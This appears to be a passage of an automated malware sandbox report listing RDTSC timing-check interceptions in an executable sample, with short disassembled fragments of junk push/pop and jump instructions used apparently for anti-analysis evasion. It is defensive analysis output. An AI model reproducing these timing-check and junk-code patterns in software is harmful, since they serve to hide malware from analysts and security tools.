Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B3AF second address: 54B3C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F759C763296h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B3C3 second address: 54B3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B3C9 second address: 54B3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B3CF second address: 54B3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 je 00007F759D5FDE46h 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B3DC second address: 54B3E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B3E1 second address: 54B3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F759D5FDE46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54E4C2 second address: 54E4C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54DE32 second address: 54DE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54DE36 second address: 54DE40 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F759C763296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54DFDB second address: 54E03F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE52h 0x00000007 pushad 0x00000008 jmp 00007F759D5FDE58h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F759D5FDE57h 0x00000014 jmp 00007F759D5FDE56h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54E03F second address: 54E057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759C7632A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54E057 second address: 54E05B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 556ED7 second address: 556EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 559307 second address: 559319 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F759D5FDE48h 0x00000008 jp 00007F759D5FDE4Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 47DD89 second address: 47DDA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F759C76329Fh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F759C763296h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 55B8E8 second address: 55B937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759D5FDE4Dh 0x00000009 popad 0x0000000a jno 00007F759D5FDE61h 0x00000010 pop ecx 0x00000011 push esi 0x00000012 push ebx 0x00000013 jmp 00007F759D5FDE57h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 55EBFE second address: 55EC1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F759C7632A1h 0x0000000b popad 0x0000000c pop ecx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 55EC1C second address: 55EC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5631CD second address: 563218 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F759C76329Eh 0x0000000c jnp 00007F759C76329Ch 0x00000012 jnl 00007F759C763296h 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b pushad 0x0000001c popad 0x0000001d pop eax 0x0000001e jmp 00007F759C7632A5h 0x00000023 pushad 0x00000024 jmp 00007F759C76329Dh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 56C003 second address: 56C00C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 56C00C second address: 56C010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 56C010 second address: 56C01C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007F759D5FDE46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 56C01C second address: 56C023 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 56C308 second address: 56C32A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F759D5FDE4Fh 0x00000011 jg 00007F759D5FDE46h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 56C32A second address: 56C34C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F759C76329Bh 0x0000000a jmp 00007F759C76329Dh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 56EECE second address: 56EEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 56EEDB second address: 56EEDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 56EEDF second address: 56EEFD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F759D5FDE54h 0x0000000c jmp 00007F759D5FDE4Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5738ED second address: 5738F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5738F1 second address: 573931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F759D5FDE57h 0x00000010 jmp 00007F759D5FDE54h 0x00000015 popad 0x00000016 pushad 0x00000017 jnl 00007F759D5FDE46h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5735EC second address: 5735F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5735F0 second address: 573608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F759D5FDE4Dh 0x0000000b push edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 573608 second address: 573612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 586B3A second address: 586B50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE4Fh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 586B50 second address: 586B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F759C76329Dh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 586B6A second address: 586B70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5869A1 second address: 5869A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5869A5 second address: 5869D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F759D5FDE4Bh 0x0000000e push ecx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5869D2 second address: 5869DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 57FDDA second address: 57FDF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnl 00007F759D5FDE46h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F759D5FDE4Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 57FDF8 second address: 57FDFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 57FDFC second address: 57FE00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 57FE00 second address: 57FE10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F759C76329Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 597687 second address: 59768B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 59768B second address: 597697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 597697 second address: 59769B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 59769B second address: 5976A5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F759C763296h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 597222 second address: 597226 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 597226 second address: 59722C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 59722C second address: 597247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F759D5FDE50h 0x00000008 jnp 00007F759D5FDE46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B07E3 second address: 5B07FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F759C763296h 0x00000011 js 00007F759C763296h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF5BD second address: 5AF5C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF5C3 second address: 5AF5C9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF5C9 second address: 5AF5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F759D5FDE46h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF5D7 second address: 5AF5DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF5DD second address: 5AF602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F759D5FDE46h 0x00000012 jmp 00007F759D5FDE53h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF602 second address: 5AF61E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF61E second address: 5AF624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF624 second address: 5AF628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF8B0 second address: 5AF8DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759D5FDE4Ch 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F759D5FDE58h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF8DF second address: 5AF8F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F759C763296h 0x0000000a jmp 00007F759C76329Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF8F9 second address: 5AF8FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF8FE second address: 5AF90F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F759C76329Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AF90F second address: 5AF913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5AFEF3 second address: 5AFEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007F759C763296h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B003A second address: 5B0069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F759D5FDE46h 0x0000000a pop edx 0x0000000b push ebx 0x0000000c jne 00007F759D5FDE46h 0x00000012 jp 00007F759D5FDE46h 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d jmp 00007F759D5FDE52h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B3581 second address: 5B358B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F759C763296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B358B second address: 5B35B1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F759D5FDE52h 0x00000010 jne 00007F759D5FDE46h 0x00000016 jng 00007F759D5FDE46h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 jne 00007F759D5FDE46h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B35B1 second address: 5B35B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B35B5 second address: 5B35BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B35BB second address: 5B35C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B35C1 second address: 5B35C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B5E49 second address: 5B5E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B5F15 second address: 5B5F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B6355 second address: 5B63AC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F759C76329Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b movsx edx, ax 0x0000000e push dword ptr [ebp+122D248Dh] 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F759C763298h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D2D75h], ecx 0x00000034 push edx 0x00000035 mov edx, dword ptr [ebp+122D3699h] 0x0000003b pop edx 0x0000003c stc 0x0000003d call 00007F759C763299h 0x00000042 push eax 0x00000043 push edx 0x00000044 push ecx 0x00000045 pushad 0x00000046 popad 0x00000047 pop ecx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B63AC second address: 5B63BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F759D5FDE46h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B63BF second address: 5B63DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F759C763296h 0x0000000a popad 0x0000000b jl 00007F759C763298h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B63DD second address: 5B63E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B63E3 second address: 5B63FB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F759C76329Ch 0x00000012 js 00007F759C763296h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B7F94 second address: 5B7F98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B7B1B second address: 5B7B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jnc 00007F759C763296h 0x0000000c js 00007F759C763296h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F759C7632A2h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B7B43 second address: 5B7B47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B7B47 second address: 5B7B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B9BB0 second address: 5B9BCA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007F759D5FDE46h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F759D5FDE4Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5B9BCA second address: 5B9BD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F759C763296h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C80142 second address: 4C80148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C60F0C second address: 4C60F24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F759C7632A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA0E37 second address: 4CA0E3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C400D0 second address: 4C400D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
